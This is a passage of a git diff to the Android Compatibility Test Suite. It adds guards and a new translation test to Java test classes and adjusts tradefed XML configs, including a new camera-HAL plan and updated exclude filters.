         sWifiManager = sContext.getSystemService(WifiManager.class);
         assertThat(sWifiManager).isNotNull();
@@ -172,7 +174,7 @@
 
     @AfterClass
     public static void tearDownClass() throws Exception {
-        if (!WifiFeature.isWifiSupported(sContext)) return;
+        if (!sShouldRunTest) return;
 
         ShellIdentityUtils.invokeWithShellPermissions(
                 () -> sWifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
@@ -192,6 +194,7 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue(sShouldRunTest);
         mExecutorService = Executors.newSingleThreadScheduledExecutor();
         // turn screen on
         sTestHelper.turnScreenOn();
@@ -215,6 +218,7 @@
 
     @After
     public void tearDown() throws Exception {
+        if (!sShouldRunTest) return;
         // Release the requests after the test.
         if (sNsNetworkCallback != null) {
             sConnectivityManager.unregisterNetworkCallback(sNsNetworkCallback);
diff --git a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
index 477c1df..34ceb72 100644
--- a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
+++ b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
@@ -240,6 +240,39 @@
     }
 
     @Test
+    public void testPauseUiTranslationThenStartUiTranslation() throws Throwable {
+        final Pair<List<AutofillId>, ContentCaptureContext> result =
+                enableServicesAndStartActivityForTranslation();
+
+        final CharSequence originalText = mTextView.getText();
+        final List<AutofillId> views = result.first;
+        final ContentCaptureContext contentCaptureContext = result.second;
+
+        final String translatedText = "success";
+        final UiObject2 helloText = Helper.findObjectByResId(Helper.ACTIVITY_PACKAGE,
+                SimpleActivity.HELLO_TEXT_ID);
+        assertThat(helloText).isNotNull();
+        // Set response
+        final TranslationResponse response =
+                createViewsTranslationResponse(views, translatedText);
+        sTranslationReplier.addResponse(response);
+
+        startUiTranslation(/* shouldPadContent */ false, views, contentCaptureContext);
+
+        assertThat(helloText.getText()).isEqualTo(translatedText);
+
+        pauseUiTranslation(contentCaptureContext);
+
+        assertThat(helloText.getText()).isEqualTo(originalText.toString());
+
+        sTranslationReplier.addResponse(createViewsTranslationResponse(views, translatedText));
+
+        startUiTranslation(/* shouldPadContent */ false, views, contentCaptureContext);
+
+        assertThat(helloText.getText()).isEqualTo(translatedText);
+    }
+
+    @Test
     public void testUiTranslation_CustomViewTranslationCallback() throws Throwable {
         final Pair<List<AutofillId>, ContentCaptureContext> result =
                 enableServicesAndStartActivityForTranslation();
diff --git a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
index ea04fab..a887709 100644
--- a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
+++ b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
@@ -36,6 +36,7 @@
 import android.os.PersistableBundle;
 import android.os.Process;
 import android.permission.PermissionManager;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.uwb.RangingReport;
 import android.uwb.RangingSession;
@@ -59,6 +60,7 @@
  */
 @SmallTest
 @RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Cannot get UwbManager in instant app mode")
 public class UwbManagerTest {
     private static final String TAG = "UwbManagerTest";
 
diff --git a/tools/cts-tradefed/res/config/cts-camera-hal.xml b/tools/cts-tradefed/res/config/cts-camera-hal.xml
new file mode 100644
index 0000000..ec049c0
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-camera-hal.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs a subset of CTS tests for Camera HAL ">
+    <option name="plan" value="cts-camera-hal" />
+    <option name="result-attribute" key="camera-hal" value="1" />
+
+    <!-- All camera CTS tests -->
+    <option name="compatibility:include-filter" value="CtsCameraTestCases" />
+
+    <!-- All related tests -->
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testCameraFeatures"/>
+    <option name="compatibility:include-filter" value="CtsCameraApi25TestCases" />
+    <option name="compatibility:include-filter" value="CtsCameraApi31TestCases" />
+    <option name="compatibility:include-filter" value="CtsPermissionTestCases" />
+    <option name="compatibility:include-filter" value="CtsViewTestCases" />
+
+</configuration>
\ No newline at end of file
diff --git a/tools/cts-tradefed/res/config/cts-foldable.xml b/tools/cts-tradefed/res/config/cts-foldable.xml
index 1b6b9bb..250fba8 100644
--- a/tools/cts-tradefed/res/config/cts-foldable.xml
+++ b/tools/cts-tradefed/res/config/cts-foldable.xml
@@ -26,5 +26,8 @@
     <!-- b/178344549: CtsCameraTestCases failures due to covered lenses in folded mode-->
     <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.BurstCaptureTest#testJpegBurst" />
     <option name="compatibility:exclude-filter" value="CtsCameraTestCases[instant] android.hardware.camera2.cts.BurstCaptureTest#testJpegBurst" />
+    <!-- b/193752359: OrgOwnedProfileOwnerTest#testScreenCaptureDisabled failures due to personal
+         launcher always visible on one of the screens. -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testScreenCaptureDisabled" />
 
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 401fdd6..c6b4537 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -237,14 +237,15 @@
     <option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases android.autofillservice.cts.inline.InlineSimpleSaveActivityTest#testAutofill_oneDatasetAndSave" />
     <option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases[instant] android.autofillservice.cts.inline.InlineSimpleSaveActivityTest#testAutofill_oneDatasetAndSave" />
 
-    <!-- b/195580880 -->
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.PkgInstallSignatureVerificationTest#testInstallV4UpdateAfterRotation" />
-
     <!-- b/194293021 -->
     <option name="compatibility:exclude-filter" value="CtsPrintTestCases" />
     <option name="compatibility:exclude-filter" value="CtsPrintTestCases[instant]" />
 
     <!-- b/194146521 -->
     <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest23#testNoResidualPermissionsOnUninstall" />
+ 
+    <!-- b/198992105 -->
+    <option name="compatibility:exclude-filter" value="CtsStatsdAtomHostTestCases android.cts.statsd.atom.UidAtomTests#testDangerousPermissionState" />
+    <option name="compatibility:exclude-filter" value="CtsStatsdAtomHostTestCases android.cts.statsd.atom.UidAtomTests#testDangerousPermissionStateSampled" />
 
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude-non-hal.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude-non-hal.xml
index 0dd958f..76e93f3c 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude-non-hal.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude-non-hal.xml
@@ -52,7 +52,6 @@
     <option name="compatibility:exclude-filter" value="CtsBackupHostTestCases" />
     <option name="compatibility:exclude-filter" value="CtsBackupTestCases" />
     <option name="compatibility:exclude-filter" value="CtsBionicAppTestCases" />
-    <option name="compatibility:exclude-filter" value="CtsBionicTestCases" />
     <option name="compatibility:exclude-filter" value="CtsBlobStoreHostTestCases" />
     <option name="compatibility:exclude-filter" value="CtsBlobStoreHostTestHelper" />
     <option name="compatibility:exclude-filter" value="CtsBlobStoreTestCases" />
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index b1584e6..0145e55 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -90,4 +90,6 @@
     <!-- b/194146521 -->
     <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest23#testNoResidualPermissionsOnUninstall" />
 
+      <!-- b/199996926 - No UWB stack support in AOSP for Android S -->
+    <option name="compatibility:exclude-filter" value="CtsUwbTestCases" />
 </configuration>